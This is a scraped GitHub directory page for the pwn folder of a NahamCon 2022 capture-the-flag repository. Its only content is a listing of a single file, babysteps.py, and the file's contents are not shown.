1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> Crypto-Cat </span> <span>/</span> CTF
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>157</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>671</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/Crypto-Cat/CTF/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":332726410,"originating_url":"https://github.com/Crypto-Cat/CTF/tree/main/ctf_events/nahamcon_22/pwn","user_id":null}}" data-hydro-click-hmac="3d658d7bfb02a34f16ba47cd61ac0a92222ef5a51eda09490687ccc5ee50535c"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/Crypto-Cat/CTF/refs" cache-key="v0:1611574615.0" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="Q3J5cHRvLUNhdC9DVEY=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/Crypto-Cat/CTF/refs" cache-key="v0:1611574615.0" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="Q3J5cHRvLUNhdC9DVEY=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF</span></span></span><span>/</span><span><span>ctf_events</span></span><span>/</span><span><span>nahamcon_22</span></span><span>/</span>pwn<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF</span></span></span><span>/</span><span><span>ctf_events</span></span><span>/</span><span><span>nahamcon_22</span></span><span>/</span>pwn<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/Crypto-Cat/CTF/tree-commit/548ff3224b43f133319c40cc009714fadba295fb/ctf_events/nahamcon_22/pwn" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/Crypto-Cat/CTF/file-list/main/ctf_events/nahamcon_22/pwn"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>babysteps.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
